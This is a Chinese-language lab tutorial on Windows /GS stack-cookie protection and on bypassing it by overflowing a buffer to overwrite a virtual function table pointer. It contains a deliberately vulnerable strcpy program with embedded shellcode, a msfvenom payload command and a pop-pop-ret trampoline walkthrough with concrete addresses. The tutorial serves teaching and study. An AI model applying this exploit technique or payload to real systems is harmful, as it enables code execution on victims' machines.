zoukankan      html  css  js  c++  java
  • 内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制

    1    GS内存保护机制

    1.1    GS工作原理

    栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统无关)。

    GS机制分三个步骤:计算随机种子 --> canary写入栈帧 --> GS校验。

    [1]程序启动时,读取.data的第一个DWORD作为基数,然后和各种元素(时间戳,进程ID,线程ID,计数器等等)进行XOR加密

    [2]然后将加密后的种子再次写入.data的第一个DWORD

    [3]函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入EBP的前面

    [4]函数主体正常执行。

    [5]函数返回前(retn前一点),把cookie取出与esp异或计算后,调用security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过,则返回原函数继续执行;如果校验失败,则程序终止。

    图解:

                 

    1.2    变量重排技术

    如图1.1所示,在缓冲区域cookie之间还有一些空隙,这是因为在旧版本(VS2005之前)的编译器里,局部变量是随机摆放的(指针,int,字符串位置随机)

    所以这里就还存在一丝安全隐患->_->那就是Buff可能在不压过Cookie的情况下覆盖一些局部变量,所以,后期的编译器就推出了--变量重排技术。

          如图1-2所示

          

    图 1-2

    程序在编译时根据局部变量的类型对变量在栈中的位置进行调整,将字符串变量(图中的Buff)移动到栈的高地址处,指针参数数(图中i)复制到中地址,字符串参数(图中arg副本)复制到地地址。

    1.3    通过猜测cookies值绕过/GS保护机制

    /GS保护机制采用了几个较弱的熵源,攻击者可以对其进行计算并使用计算结果来预测cookie值,但是这种犯法只适用于针对本地系统的攻击(攻击者拥有该机器的访问权限)。

    论文链接:http://uninformed.org/?v=7&a=2&t=pdf

    1.4    通过覆盖虚函数指针绕过/GS保护机制

    ⑴.原理分析:

    经过GS编译后的函数在栈中的分布情况如图1-3 所示。

     

    图 1-3

            

     

    图 1-4

    由图1-3和2-4可知,函数中的buf变量发生溢出的时候有可能影响虚表指针,如果可以控制虚表指针,将其指向我们shellcode,就可以在程序调用时控制程序的流程。

    ⑵.环境准备:

    实验代码:

    #include "stdafx.h"

    #include "string.h"

    class GSVirtual {

    public:

         void gsv(char *src)

         {

             char buf[200];

             strcpy(buf, src);

             vir();

         }

         virtual void vir()

         {

         }

    };

     

    int main()

    {

         GSVirtual test;

         test.gsv(

             "xbexe8x88x3cxfdxd9xd0xd9x74x24xf4x5ax33xc9xb1"

             "x30x31x72x13x03x72x13x83xeax14x6axc9x01x0cxe9"

             "x32xfaxccx8exbbx1fxfdx8exd8x54xadx3exaax39x41"

             "xb4xfexa9xd2xb8xd6xdex53x76x01xd0x64x2bx71x73"

             "xe6x36xa6x53xd7xf8xbbx92x10xe4x36xc6xc9x62xe4"

             "xf7x7ex3ex35x73xccxaex3dx60x84xd1x6cx37x9fx8b"

             "xaexb9x4cxa0xe6xa1x91x8dxb1x5ax61x79x40x8bxb8"

             "x82xefxf2x75x71xf1x33xb1x6ax84x4dxc2x17x9fx89"

             "xb9xc3x2ax0ax19x87x8dxf6x98x44x4bx7cx96x21x1f"

             "xdaxbaxb4xccx50xc6x3dxf3xb6x4fx05xd0x12x14xdd"

             "x79x02xf0xb0x86x54x5bx6cx23x1ex71x79x5ex7dx1f"

             "x7cxecxfbx6dx7exeex03xc1x17xdfx88x8ex60xe0x5a"

             "xebx9fxaaxc7x5dx08x73x92xdcx55x84x48x22x60x07"

             "x79xdax97x17x08xdfxdcx9fxe0xadx4dx4ax07x02x6d"

             "x5fx64xc5xfdx03x6b" 

             "x81x99x82x77"                                                    //跳板指针

             "x3cxffx12x00"                                                    //跳板指针地址

             );

         return 0;

    }

            

    编译选项设置:

    启用GS保护机制:

     

    禁止:ASLR, DEP保护机制:

     

    在 vs 2008中禁止safeSEH(更高版本可以直接在属性页面下改的):

    在项目属性页面下—>连接器选项—>命令行里的附加选项里输入/SAFESEH:NO就可以了。

    ⑶.调试分析:

                       i.(找到函数的入口点)在OD中打开:

     

                       这个入口地址明显不是啊,,,,

                       那就用IDA看一下吧,

     

                       找到了函数的入口地址(004010B0)。

                       ii.分析函数运行流程:

           在调用虚函数之前要先初始化类

     

                  在初始化类的过程中,虚函数表入栈。

     

                  参数入栈,调用类函数,返回地址(EIP入栈):

     

            Ebp入栈,cookie入栈,分配缓冲区:

     

    将参数拷贝到缓存区:

    。。。。。。。。。。。。。。(这段代码太长了就不贴了)

    因为源代码在类函数里调用了虚函数,所以在类函数中会有一个从虚函数表中寻找虚函数地址的过程,并且在退出前检查cookie的值:

     

             整个类函数的运行过程如下:

     

    图 1-5

    ⑷.攻击过程:

    i.确定shellcode大小:

    从图1-5分析可知,

    shellcode的大小 = 虚函数表指针的地址-类函数缓冲区中参数的起始地址+4(虚函数指针占4个字节)。

    所以需要确定的地址有:

    •    虚函数指针的地址
    •    类函数缓冲区中参数的起始地址

      在类函数中的相关代码如下:

     

        得到shellcode的大小 = 224字节

    ii.设计shellcode

        观察程序执行过程:

     

          类中虚函数的寻址过程如下:

     

    我们的目标是把虚表指针中的虚函数指针地址换成我们shellcode指针的地址,把虚函数指针换成恶意代码的指针。

    所以shellcode代码结构如下:

    Shellcode指针的地址

    恶意代码指针

    恶意代码

       

    这里的恶意代码可以用msfconsole生成:

    msfvenom -p windows/exec cmd=calc -b 'x00' -f c

    生成长度为216字节的功能是打开计算器的恶意代码。

     

    因为参数内容在栈中的是从低地址向高地址增长的,所以,在上面生成的恶意代码之后,应该加上恶意代码指针的地址,和恶意代码的指针(即首字母的地址)。

           iv.确定恶意代码指针的地址和恶意代码的指针:

    在类函数中,恶意代码指针的地址就是参数指针的地址,可以很快  找到(0012ff3c)。

               到我们执行代码到执行虚函数之前,有两个地方有恶意代码:

    • l  主程序在调用类函数输入的恶意代码(指针=00402100)
    • l  类函数在栈缓冲区中拷贝的恶意代码(指针=0012fe64)

    但是直接将这两个地址放在shellcode是不能成功的,为什么?

    因为,strcpy函数的结束条件是最后一个字符是不是0,这两个地址在内存中(小端序,0012fe64在内存中是64fe1200)都是以0结尾的,之后的恶意代码的指针的地址就填充不进去了。

    这可怎么办?

    这里要用到一个新的技巧——跳板:

    恶意代码的指针==0x0012fe64,在执行strcpy的时候,0x0012fe54中存放的值是0x0012fe64(i中的代码执行截图里可以看到)。

    那么就需要跳板来实现了。

    在执行(call 虚函数指针)指令之前,栈的地址是0x0012fe50。

    Call指令会将下一条指令地址(0040108f)压入栈中,作为返回地址,esp = esp-4 = 0x0012fe4c

    但是,如果我们将这个地址弹出去,pop esi,返回地址放到esi中,但是,栈中的返回地址就变成了,esp = esp+4 = 0x0012fe50中的内容(因为栈顶放的是返回地址)。

    那么,解决的方案是不是就很明显了?

    我们希望这个函数的返回地址0x0012fe64,弹出一次返回地址esp(栈顶地址增长4字节),再弹出去一次,不就是0x0012FE54,而0x0012fe54中存放的不正是0x0012fe64,此时返回,直接进入恶意代码,我们就能成功实现绕过GS保护机制的缓存区溢出攻击了。

     III. 找跳板地址:

    要找到一个pop xxx,pop xxx,retn指令的起始地址,且不能影响程序运行的地址来做恶意代码的指针。

    实际中可以用ollydbg的插件OllyFindAddr实现。

    最终的shellcode结构如下:

    跳板地址的地址

    跳板的地址

    恶意代码

           vi.攻击结果:

          

     成功。

  • 相关阅读:
    HDU 5486 Difference of Clustering 图论
    HDU 5481 Desiderium 动态规划
    hdu 5480 Conturbatio 线段树 单点更新,区间查询最小值
    HDU 5478 Can you find it 随机化 数学
    HDU 5477 A Sweet Journey 水题
    HDU 5476 Explore Track of Point 数学平几
    HDU 5475 An easy problem 线段树
    ZOJ 3829 Known Notation 贪心
    ZOJ 3827 Information Entropy 水题
    zoj 3823 Excavator Contest 构造
  • 原文地址:https://www.cnblogs.com/zhang293/p/8909635.html
Copyright © 2011-2022 走看看